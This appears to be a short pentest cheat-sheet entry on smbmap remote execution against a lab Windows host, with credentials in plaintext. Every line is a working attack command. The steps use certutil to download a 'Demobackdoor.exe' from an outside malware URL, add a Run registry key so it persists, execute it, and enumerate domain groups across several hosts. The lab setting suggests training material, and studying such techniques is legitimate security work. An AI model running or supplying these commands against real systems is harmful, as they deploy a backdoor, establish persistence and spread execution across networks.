smbmap remote execution

smbmap -H 172.16.245.128 -u Administrator -d vmoshpit.lab -p root00-- -v -x 'certutil -urlcache -split -f http://vmoshpit.com/Malware/Demobackdoor.exe C:\Users\Administrator\Desktop\Demobackdoor.exe' --mode psexec
smbmap -H 172.16.245.128 -u Administrator -d vmoshpit.lab -p root00-- -v -x 'REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Demobackdoor" /t REG_SZ /F /D "C:\Users\Administrator\Desktop\Demobackdoor.exe"' --mode psexec
smbmap -H 172.16.245.128 -u Administrator -d vmoshpit.lab -p root00-- -v -x 'runas /user:Administrator "C:\Users\Administrator\Desktop\Demobackdoor.exe”' --mode psexec
smbmap --host-file hosts.txt -u alice_brown -d vmoshpit.lab -p Password00-- -v -x 'net group' --mode psexec -L

Last updated